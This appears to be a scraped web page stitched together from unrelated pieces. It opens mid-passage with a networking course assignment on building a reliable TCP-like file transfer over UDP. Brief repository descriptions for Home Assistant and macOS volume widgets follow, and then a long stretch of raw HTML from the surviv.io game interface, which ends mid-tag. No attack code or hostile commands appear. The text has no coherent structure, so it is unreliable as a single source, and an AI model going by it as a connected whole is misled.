advertised window notifications). The client reads the file contents in its receive buffer and prints them out on stdout using a separate thread. This thread sits in a repetitive loop till all the file contents have been printed out, doing the following. It samples from an exponential distribution with mean µ milliseconds (read from the client.in file), sleeps for that number of milliseconds; wakes up to read and print all in-order file contents available in the receive buffer at that point; samples again from the exponential distribution; sleeps; and so on. The formula -1 × µ × ln( random( ) ) , where ln is the natural logarithm, yields variates from an exponential distribution with mean µ, based on the uniformly-distributed variates over ( 0 , 1 ) returned by random(). Note that you will need to implement some sort of mutual exclusion/semaphore mechanism on the client side so that the thread that sleeps and wakes up to consume from the receive buffer is not updating the state variables of the buffer at the same time as the main thread reading from the socket and depositing into the buffer is doing the same. Furthermore, we need to ensure that the main thread does not effectively monopolize the semaphore (and thus lock out for prolonged periods of time) the sleeping thread when the latter wakes up. See the textbook, Section 26.7, ‘Mutexes: Mutual Exclusion’, pp.697-701. You might also find Section 26.8, ‘Condition Variables’, pp.701-705, useful. You will need to devise some way by which the sender can notify the receiver when it has sent the last datagram of the file transfer, without the receiver mistaking that EOF marker as part of the file contents. (Also, note that the last data segment could be a “short” segment of less than 512 bytes – your client needs to be able to handle this correctly somehow.) When the sender receives an ACK for the last datagram of the transfer, the (child) server terminates. The parent server has to take care of cleaning up zombie children. Note that if we want a clean closing, the client process cannot simply terminate when the receiver ACKs the last datagram. This ACK could be lost, which would leave the (child) server process ‘hanging’, timing out, and retransmitting the last datagram. TCP attempts to deal with this problem by means of the TIME_WAIT state. You should have your receiver process behave similarly, sticking around in something akin to a TIME_WAIT state in case in case it needs to retransmit the ACK. In the ReadMe file you hand in, report on how you dealt with the issues raised here: sender notifying receiver of the last datagram, clean closing, and so on. Output Some of the output required from your program has been described in the section Operation above. I expect you to provide further output – clear, well-structured, well-laid-out, concise but sufficient and helpful – in the client and server windows by means of which we can trace the correct evolution of your TCP’s behaviour in all its intricacies : information (e.g., sequence number) on datagrams and acks sent and dropped, window advertisements, datagram retransmissions (and why : dup acks or RTO); entering/exiting Slow Start and Congestion Avoidance, ssthresh and cwnd values; sender and receiver windows locking/unlocking; etc., etc. . . . . The onus is on you to convince us that the TCP mechanisms you implemented are working correctly. Too many students do not put sufficient thought, creative imagination, time or effort into this. It is not the TA’s nor my responsibility to sit staring at an essentially blank screen, trying to summon up our paranormal psychology skills to figure out if your TCP implementation is really working correctly in all its very intricate aspects, simply because the transferred file seems to be printing o.k. in the client window. Nor is it our responsibility to strain our eyes and our patience wading through a mountain of obscure, ill-structured, hyper-messy, debugging-style output because, for example, your effort-conserving concept of what is ‘suitable’ is to dump your debugging output on us, relevant, irrelevant, and everything in between.
giovannilamarmora
Material Home Component is a custom Home Assistant plugin that displays interactive cards for your devices. It shows real-time status (e.g., playing, idle), current media information, and allows quick control like play/pause, volume adjustment, and more — all styled with a modern, dynamic UI.
BYTEPOETS
A beautiful Dial / Volume Style Knob Control for Mac OS X .. replacment for NSSlider Control
aarush67
A beautiful, iOS-style volume indicator for macOS that replaces the default system volume overlay with an elegant glass design.
Ronald106
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class='ui-team-indicator-pos ui-background-cyan'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='3'> <div class='ui-team-indicator-pos ui-background-orange'></div> </div> <div class='ui-team-indicator ui-indicator-main' data-id='4'> <div class='ui-team-indicator-pos ui-background-yellow'></div> </div> <div class='ui-team-indicator ui-indicator-ping' data-id='0'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='0'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='1'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='1'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='2'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='2'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='3'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='3'></div> <div class='ui-team-indicator ui-indicator-ping' data-id='4'> <div class='ui-team-indicator-pos ui-team-indicator-image'></div> </div> <div class='ui-indicator-ping-border' data-id='4'></div> </div> <div id='ui-right-center' class='ui-right-center-desktop js-ui-map-hidden'> <div id='ui-medical-interactive'> <div id='ui-loot-bandage' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-bandage'>Bandage</div> <div class='tooltip-description'><span data-l10n='game-bandage-tooltip'>Left-click to restore 15 health.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-healthkit' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-healthkit'>Med Kit</div> <div class='tooltip-description'><span data-l10n='game-healthkit-tooltip'>Left-click to restore 100 health.</div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-soda' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-soda'>Soda</div> <div class='tooltip-description'><span data-l10n='game-soda-tooltip'>Left-click to boost adrenaline by 25.</span><br><span data-l10n='game-adrenaline-tooltip'>Adrenaline restores health over time.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-chocolateBox' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-chocolateBox'>ChocolateBox</div> <div class='tooltip-description'><span data-l10n='game-soda-tooltip'>Left-click to boost adrenaline by 25.</span><br><span data-l10n='game-adrenaline-tooltip'>Adrenaline restores health over time.</span><br><span data-l10n='game-chocolateBox-tooltip'>Inmune to frenemy effect for 20s.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-painkiller' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-painkiller'>Pills</div> <div class='tooltip-description'><span data-l10n='game-painkiller-tooltip'>Left-click to boost adrenaline by 50.</div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> <div id='ui-loot-flask' class='ui-loot ui-outline-hover ui-scale-hover ui-medical tooltip'> <div class='tooltip-text'> <div class='tooltip-title' data-l10n='game-flask'>Flask</div> <div class='tooltip-description'><span data-l10n='game-flask-tooltip'>Left-click for freeze damage immunity for 20 seconds.</span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> </div> </div> <div id='ui-ammo-interactive'> <div id='ui-loot-50AE' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-50AE'></div> <div class='tooltip-description'><span data-l10n='game-50AE-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(30,30,30,0.75)'></div> </div> <div id='ui-loot-9mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-9mm'></div> <div class='tooltip-description'><span data-l10n='game-9mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,153,0,0.75)'></div> </div> <div id='ui-loot-308sub' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-308sub'></div> <div class='tooltip-description'><span data-l10n='game-308sub-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(49,56,0,0.75)'></div> </div> <div id='ui-loot-12gauge' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-12gauge'></div> <div class='tooltip-description'><span data-l10n='game-12gauge-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,0,0,0.75)'></div> </div> <div id='ui-loot-flare' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-flare'></div> <div class='tooltip-description'><span data-l10n='game-flare-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(255,85,0,0.75)'></div> </div> <div id='ui-loot-762mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-762mm'></div> <div class='tooltip-description'><span data-l10n='game-762mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(0,102,255,0.75)'></div> </div> <div id='ui-loot-45acp' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-45acp'></div> <div class='tooltip-description'><span data-l10n='game-45acp-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(121,0,255,0.75)'></div> </div> <div id='ui-loot-556mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-556mm'></div> <div class='tooltip-description'><span data-l10n='game-556mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(3,123,0,0.75)'></div> </div> <div id='ui-loot-40mm' class='ui-outline-hover ui-ammo tooltip'> <div class='tooltip-text click-through'> <div class='tooltip-title' data-l10n='game-40mm'></div> <div class='tooltip-description'><span data-l10n='game-40mm-tooltip'></span></div> </div> <div class='ui-loot-count'>0</div> <img class='ui-loot-image' src=''></img> <div class='ui-loot-overlay' style='background: rgba(12,221,171,0.75)'></div> </div> </div> <div id='ui-emote-button'></div> </div> <div id='ui-top-left' class='js-ui-hud-show click-through'> <div id='ui-team' class='js-ui-mobile-map-hidden'> <div class='ui-team-member ui-bg-standard' data-id='0'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-yellow'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='1'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-purple'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='2'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-cyan'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> <div class='ui-team-member ui-bg-standard' data-id='3'> <div class='ui-team-member-name'></div> <div class='ui-team-member-color ui-background-orange'></div> <div class='ui-team-member-status'></div> <div class='ui-team-member-health'> <div class='ui-bar-inner ui-health-actual'></div> </div> </div> </div> </div> <div id='ui-map-wrapper' class='ui-map-wrapper-desktop click-through'> <div id='ui-map-container'> <div id='ui-map-info' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-gas-icon' class='gas-icon'></div> <div id='ui-gas-timer'></div> </div> <div id='ui-spec-counter' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-spec-counter-icon'></div> <div id='ui-spec-counter-number'></div> </div> <div id='ui-settings-container-desktop' class='js-ui-desktop-map-hidden'> <div id='ui-map-expand-desktop' class='ui-map-expand ui-settings-button'> <img id='mag-glass-white' src=''></img> </div> <div id='ui-map-minimize' class='ui-settings-button js-ui-map-hidden'> <img id='ui-minimize-img' src=''></img> </div> </div> <div id='ui-settings-container-mobile' class='js-ui-mobile-map-hidden'> <div id='ui-alive-info'> <div id='ui-alive-icon' class='ui-map-icon alive-icon'></div> <div id='ui-map-counter-default' class='js-ui-players-alive'>0</div> <div id='ui-map-counter-faction'> <span class='ui-players-alive-red js-ui-players-alive-red'>0</span>:<span class='ui-players-alive-blue js-ui-players-alive-blue'>0</span> </div> </div> <div id='ui-map-expand-mobile' class='ui-map-expand ui-settings-button'></div> </div> </div> </div> <div id='ui-menu-display' class='ui-settings-button prop-event'></div> <div id='ui-kill-leader-container'> <div id='ui-kill-leader-wrapper' class='js-ui-map-hidden js-ui-hud-show hide-on-mobile'> <div id='ui-kill-leader-name'>Waiting for new leader</div> <div id='ui-kill-leader-icon'></div> <div id='ui-kill-leader-count'>0</div> </div> </div> <div id='ui-killfeed-wrapper'> <div id='ui-killfeed' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-killfeed-contents'></div> </div> </div> <div id='ui-leaderboard-wrapper'> <div id='ui-leaderboard' class='js-ui-hud-show'> <div id='ui-leaderboard-alive'> <span class='ui-players-alive js-ui-players-alive'>0</span> </div> <div id='ui-leaderboard-alive-faction'> <span class='ui-players-alive-red js-ui-players-alive-red'>0</span> <span class='ui-players-alive-blue js-ui-players-alive-blue'>0</span> </div> <div class='ui-leaderboard-header' data-l10n='game-alive'>Alive</div> </div> <div id='ui-kill-counter-wrapper' class='js-ui-map-show'> <div id='ui-kill-counter'> <span class='ui-player-kills js-ui-player-kills'>0</span> </div> <div class='ui-kill-counter-header' data-l10n='game-kills'>Kills</div> </div> </div> <div id='ui-top-center-scopes-wrapper'> <div id='ui-top-center-scopes' class='click-through js-ui-map-hidden'> <div id='ui-scope-1xscope' class='ui-scope ui-zoom'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>1<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-2xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>2<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-4xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>4<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-8xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>8<span class='ui-zoom-append'>x</span></div> </div> </div> <div id='ui-scope-15xscope' class='ui-scope ui-zoom ui-outline-hover'> <div class='ui-zoom-text'> <div class='ui-zoom-level'>15<span class='ui-zoom-append'>x</span></div> </div> </div> </div> </div> <div id='ui-top-center' class='js-ui-map-hidden js-ui-hud-show click-through'> <div id='ui-waiting-text' class='top-center-text'><span data-l10n='game-waiting-for-players'>Waiting for players</span>...</div> <div id='ui-spectate-text' class='top-center-text ui-spectate-mode'> <div class='spectate-text spectate-desc' data-l10n='game-spectating'>Spectating</div> <div id='spectate-player' class='spectate-text'></div> </div> </div> <div id='ui-upper-center' class='click-through'> <div id='ui-announcement'></div> </div> <div id='ui-upper-center-1' class='click-through'> <div id='ui-pickup-notification'> <div id='ui-pickup-description'>Item picked up</div> </div> </div> <div id='ui-lower-center' class='js-ui-map-hidden js-ui-hud-show click-through'> <div id='ui-interaction'> <div id='ui-interaction-press'></div> <div id='ui-interaction-outer'> <div id='ui-interaction-description'></div> </div> </div> </div> <div id='ui-bottom-center-2' class='click-through'> <div id='ui-pickup-message' class='notify-message'></div> <div id='ui-perk-message-wrapper' class='notify-message'> <div id='ui-perk-message-image-wrapper'> <div id='ui-perk-message-image-icon'></div> </div> <div id='ui-perk-message-name' class='notify-message'></div> <div id='ui-perk-message-acquired' class='notify-message'></div> </div> </div> <div id='ui-equipped-ammo-wrapper' class='js-ui-map-hidden js-ui-hud-show'> <div id='ui-equipped-ammo'> <div id='ui-bullet-counter'> <div id='ui-current-clip'>0</div> <div id='ui-remaining-ammo'>0</div> <div id='ui-reload-button-container'> <div id='ui-reload-button'></div> </div> </div> </div> </div> <div id='ui-bottom-center-0' class='click-through js-ui-map-hidden js-ui-hud-show'> <div id='ui-boost-counter'> <div class='ui-boost-base' id='ui-boost-counter-0'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-1'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-2'> <div class='ui-bar-inner'></div> </div> <div class='ui-boost-base' id='ui-boost-counter-3'> <div class='ui-bar-inner'></div> </div> </div> <div id='ui-health-counter'> <div id='ui-health-flair-left' class='ui-health-flair'></div> <div id='ui-health-flair-right' class='ui-health-flair'></div> <div id='ui-health-container'> <div class='ui-bar-inner' id='ui-health-actual'></div> <div class='ui-bar-inner' id='ui-health-depleted'></div> </div> </div> </div> <div id='ui-bottom-center-left' class='js-ui-map-hidden'> <div id='ui-perk-0' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-perk-1' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-perk-2' class='ui-armor-counter tooltip-perk ui-outline-hover'> <div class='tooltip-text'> <div class='tooltip-title'></div> <div class='tooltip-desc'></div> </div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> </div> <div id='ui-bottom-center-right' class='js-ui-map-hidden'> <div id='ui-armor-helmet' class='ui-armor-counter ui-outline-hover'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-armor-chest' class='ui-armor-counter ui-outline-hover'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> <div id='ui-armor-backpack' class='ui-armor-counter'> <div class='ui-armor-counter-inner'></div> <div class='ui-armor-level'></div> <img class='ui-armor-image ui-loot-image' src=''></img> </div> </div> <div id='ui-bottom-right' class='js-ui-map-hidden'> <div id='ui-weapon-container'> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-1' data-slot='1'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>1</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-2' data-slot='2'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>2</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-3'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>3</div> <img class='ui-weapon-image' src=''></img> </div> </div> <div class='ui-weapon-info'> <div class='ui-weapon-switch ui-outline-hover' id='ui-weapon-id-4'> <div class='ui-weapon-name'></div> <div class='ui-weapon-number'>4</div> <div class='ui-weapon-exp ui-weapon-ammo-counter'>0</div> <img class='ui-weapon-image' src=''></img> </div> </div> </div> </div> <div id='ui-spectate-options-wrapper'> <div id='ui-spectate-options' class='ui-spectate-mode js-ui-hud-show click-through'> <div id='ui-spectate-buttons' class='ui-bg-standard'> <a class='menu-option btn-darken' id='btn-spectate-next-player' data-l10n='game-next-teammate'>Next Teammate</a> <a class='menu-option btn-darken' id='btn-spectate-prev-player' data-l10n='game-previous-teammate'>Previous Teammate</a> <a class='menu-option btn-darken' id='btn-spectate-view-stats' data-l10n='game-view-match-stats'>View Match Stats</a> <a class='menu-option btn-darken btn-quit' id='btn-spectate-quit' data-l10n='game-leave-game'>Leave Game</a> </div> <div id='ui-spectate-stats' class='ui-bg-standard'> <div id='ui-spectate-stats-header' data-l10n='game-your-results'>Your Results</div> <table id='ui-spectate-stats-table'> <tbody id='ui-spectate-stats-data'> </tbody> </table> </div> </div> </div> <div id='ui-bottom-center-1' class='click-through'> <div id='ui-kills'> <div id='ui-kill-text'></div> <div id='ui-kill-count'></div> </div> </div> </div> <div id='ui-stats'> <div id='ui-stats-bg'></div> <div id='ui-stats-contents'> <div id='ui-stats-contents-inner'> <div id='ui-stats-header'></div> <div id='ui-stats-info-box'></div> <div id='ui-stats-options'></div> <div id='ui-stats-logo'></div> </div> <div id='ui-stats-ad-container-desktop' class='ui-stats-ad-container'> <div id='surviv-io_300x250_2'></div> </div> <div id='ui-stats-ad-container-mobile' class='ui-stats-ad-container'> <div id='surviv-io_300x250_mobile_2'></div> </div> </div> </div> <div class='ui-stats-adblock surviv-shirts'> <a class='surviv-shirts-link' href='/~/https://www.amazon.com/s?rh=n%3A7141123011%2Cp_4%3Asurviv.io&ref=w_bl_sl_s_ap_web_7141123011' target="_blank"></a> </div> <div class='ui-stats-adblock adblock-plea'> <span>Please consider supporting us by disabling your adblocker.</span> </div> </div> <div id='start-menu-wrapper'> <div id='safari-margin'></div> <div id='background'> <div id='start-overlay'></div> </div> <div id='event-modal'> <div id='modal-container'> <p id='modal-header' data-l10n='index-modal-test'>(HEADER TEXT)</p> <img id='modal-img-1'> <div id='modal-content'> <img id='modal-img-2'> <p id='modal-text' data-l10n='event-desc'>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Tincidunt dui ut ornare lectus sit amet est.</p> </div> <button class='close' id='modal-btn' data-l10n='modal-btn-txt' type='button'>(BUTTON TEXT)</button> </div> </div> <div id='start-main'> <div id='start-top-left'> <div id='btn-hamburger' class='icon-hamburger'></div> <div id='start-top-left-desktop'> <div id='featured-streamers'> <div class='streaming-header'> <div id='streaming-header-title' data-l10n='index-streaming-live'>Streaming Live!</div> <div id='streaming-icon'></div> </div> <div class='streamer-list'></div> <div id='featured-streamer-template'> <a href='' target='_blank' class='btn-streamer btn-darken'></a> </div> </div> <div id='featured-youtuber'> <div class='youtube-header'> <div id='youtube-header-title' data-l10n='index-featured-youtuber'>Featured YouTuber</div> </div> <a href='' target='_blank' class='btn-youtuber btn-darken'></a> </div> </div> </div> <!-- Accounts Modals --> <div id='modal-account-name-change' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-name'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-create-account'>Create Account</h2> </div> <div class='modal-body modal-body-name'> <div class='modal-settings-item'> <p id='modal-account-name-desc' class='modal-body-text' data-l10n='index-set-account-name'>Set your account name:</p> <div id='modal-body-warning'></div> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='Enter name' id='modal-account-name-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-name modal-footer-round'> <h3 id='modal-account-name-finish' class='finish' data-l10n='index-finish'>Finish</h3> </div> </div> </div> <div id='modal-account-reset-stats' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-reset-stats'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-reset-stats'>Reset Stats</h2> </div> <div class='modal-body modal-body-reset-stats'> <div class='modal-settings-item'> <p id='modal-account-reset-stats-desc' class='modal-body-text' data-l10n='index-reset-stats-desc'>Enter "RESET STATS" to reset your stats:</p> <p id='modal-account-reset-stats-desc-2' class='modal-body-text' data-l10n='index-reset-stats-desc-2'>(This does not reset pass progress.)</p> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='' id='modal-account-reset-stats-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-reset-stats modal-footer-round'> <h3 id='modal-account-reset-stats-finish' class='finish' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> <div id='modal-account-delete' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-delete'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-delete-account'>Delete Account</h2> </div> <div class='modal-body modal-body-delete'> <div class='modal-settings-item'> <p id='modal-account-delete-desc' class='modal-body-text' data-l10n='index-delete-account-desc'>Enter "DELETE" to delete your account:</p> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='' id='modal-account-delete-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-delete modal-footer-round'> <h3 id='modal-account-delete-finish' class='finish' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> <!-- Accounts Mobile --> <div id='modal-mobile-account' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2 data-l10n='index-account' data-l10n='index-account'>Account</h2> </div> <div id='modal-mobile-account-body'> <div class='account-buttons-settings account-buttons-wrapper account-block-arrow modal-close'> <div class='account-buttons'> <div class='account-stats-link btn-player-stats-link menu-option btn-darken btn-standard ' data-l10n='index-my-stats'>My Stats</div> <div class='btn-account-link btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-link-account'>Link Account</div> <div class='btn-account-change-name btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-change-account-name'>Change Account Name</div> <div class='btn-account-reset-stats btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-reset-stats'>Reset Stats</div> <div class='btn-account-delete btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-delete-account'>Delete Account</div> <div class='btn-account-logout btn-account-grey menu-option btn-darken btn-standard' data-l10n='index-log-out'>Log Out</div> </div> </div> <div id='account-login-options-mobile' class='account-buttons-link-account account-buttons-wrapper account-block-arrow modal-close'> <div class='login-options-content'></div> </div> </div> </div> </div> <!-- Accounts --> <div id='start-top-right'> <div class='account-block'> <div class='account-details-top'> <div class="account-details-top-buttons"> <div class="account-details-button-wrapper account-details-button-loadout menu-option btn-darken-alt"> <div class='account-details-button'> <div id='loadout-alert-main' class='account-alert-main account-alert'></div> <div class='account-link account-loadout-link'> <span data-l10n='index-loadout'>Loadout</span> </div> </div> </div> <div class="account-details-button-wrapper account-details-link-out menu-option btn-darken hide-on-mobile"> <div class='account-details-button'> <div class='account-link account-stats-link'><span data-l10n='index-my-stats'>My Stats</span></div> </div> </div> <div class="account-details-button-wrapper account-details-link-out menu-option btn-darken hide-on-mobile"> <div class='account-details-button'> <div class='account-link account-leaderboard-link'><span data-l10n='index-leaderboards'>Leaderboards</span></div> </div> </div> </div> </div> <div class='account-overview'> <div class="account-details-user account-details-block"> <div class="account-details"> <div class="account-avatar"></div> <div id="account-login" class="account-player-name account-name account-name-user" data-l10n='index-log-in-desc'>Log In / Create Account</div> <div id="account-player-name" class="account-player-name account-name account-name-user" style="display:none"></div> <div class="account-loading-container"> <div class="account-loading"></div> </div> </div> </div> </div> <div class='account-buttons-settings account-buttons-wrapper account-block-arrow modal-close hide-on-mobile'> <div class='account-buttons'> <div class='btn-account-link btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-link-account'>Link Account</div> <div class='btn-account-change-name btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-change-account-name'>Change Account Name</div> <div class='btn-account-reset-stats btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-reset-stats'>Reset Stats</div> <div class='btn-account-delete btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-delete-account'>Delete Account</div> <div class='btn-account-logout btn-account-grey menu-option btn-darken btn-standard' data-l10n='index-log-out'>Log Out</div> </div> </div> <div id='account-login-options' class='account-buttons-link-account account-buttons-wrapper account-block-arrow modal-close hide-on-mobile'> <div class='login-options-content'></div> </div> </div> </div> <div id='start-main-center'> <div id='start-row-header'> <div id='server-warning'></div> </div> <div id='start-row-top'> <div id='start-rotate-reminder' class='menu-column menu-block'> <span>Rotate to landscape for a better experience.</span> </div> <div id='left-column' class='menu-column'> <div id='ad-block-left'> <div class='surviv-shirts'> <a href='/~/https://www.amazon.com/s?rh=n%3A7141123011%2Cp_4%3Asurviv.io&ref=w_bl_sl_s_ap_web_7141123011' target="_blank"></a> </div> <div class='adblock-plea'> <span>Please consider supporting us by disabling your adblocker.</span> </div> <div class='ad-block-med-rect' id='surviv-io_300x250'> </div> </div> <div id='social-share-block-wrapper'> <div id='social-share-block' class='menu-block'> <div class='btn-social-wrapper'> <a href='/~/https://facebook.com/surviviogame' target='_blank' class='btn-social btn-darken btn-facebook'></a> <a href='/~/https://twitter.com/survivio' target='_blank' class='btn-social btn-darken btn-twitter'></a> <a href='/~/https://www.instagram.com/surviviogame/' target='_blank' class='btn-social btn-darken btn-instagram'></a> <a href='/~/https://discord.gg/survivio' target='_blank' class='btn-social btn-darken btn-discord'></a> <a href='/~/https://www.youtube.com/c/survivio?sub_confirmation=1' target='_blank' class='btn-social btn-darken btn-youtube'></a> </div> </div> </div> </div> <div id='start-menu' class='menu-column menu-block'> <div class='play-loading-outer'> <div class='play-loading-inner'> <div class='play-loading-spinner'></div> </div> </div> <div class='play-button-container'> <div id='player-options'> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='Enter your name here' id='player-name-input-solo' maxlength='16' /> <a class='btn-darken menu-option player-options-btn' id='btn-customize'></a> </div> <select id='server-select-main' class='server-select menu-option btn-hollow btn-hollow-selected'> <optgroup id='server-opts' label='Region' data-l10n='index-region'> <option value='na' data-label='North America' data-l10n='index-north-america'>North America</option> <option value='sa' data-label='South America' data-l10n='index-south-america'>South America</option> <option value='eu' data-label='Europe' data-l10n='index-europe'>Europe</option> <option value='as' data-label='Asia' data-l10n='index-asia'>Asia</option> <option value='kr' data-label='Korea' data-l10n='index-korea'>South Korea</option> </optgroup> </select> <a class='btn-green btn-darken menu-option' id='btn-start-mode-0' data-l10n='index-play-solo'>Play Solo</a> <div id='btns-quick-start'> <a class='btn-green btn-darken menu-option' id='btn-start-mode-1' data-l10n='index-play-duo'>Play Duo</a> <a class='btn-green btn-darken menu-option' id='btn-start-mode-2' data-l10n='index-play-squad'>Play Squad</a> </div> <div class='btns-double-row'> <a class='btn-darken menu-option 